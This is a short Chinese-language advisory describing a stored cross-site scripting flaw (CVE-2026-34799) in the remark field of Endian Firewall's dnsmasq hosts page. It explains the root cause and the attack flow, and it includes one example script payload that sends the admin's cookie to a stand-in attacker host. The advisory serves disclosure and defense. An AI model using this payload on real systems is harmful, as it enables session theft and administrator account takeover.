CVE-2026-34799Endian Firewall 3.3.25及之前版本在`/manage/dnsmasq/hosts/`接口的`remark`参数中存在存储型跨站脚本(XSS)漏洞。由于系统未对用户输入做充分过滤,经过身份验证的攻击者可注入恶意JavaScript。当其他用户浏览该页面时,恶意脚本将在其浏览器上下文中执行,可能导致账户劫持或信息泄露。
该漏洞属于典型的存储型跨站脚本攻击(Stored XSS)。漏洞根因在于Endian Firewall在处理DNSSMasq主机配置保存逻辑时,未对`remark`参数进行严格的输入验证和HTML实体编码。攻击者首先需要获取一个低权限的账户凭证登录系统。随后,攻击者构造特制的HTTP POST请求发送至`/manage/dnsmasq/hosts/`,在`remark`字段中植入JavaScript Payload(例如:`<script>fetch('http://attacker/?c='+document.cookie)</script>`)。该Payload被持久化存储在后台数据库中。一旦拥有更高权限的管理员用户访问该管理页面以查看主机列表,后端应用会直接将未经过滤的`remark`内容回显至前端HTML中,导致恶意脚本在管理员浏览器中自动执行。利用此漏洞,攻击者可窃取Session ID、绕过同源策略限制,甚至以管理员身份执行未授权操作。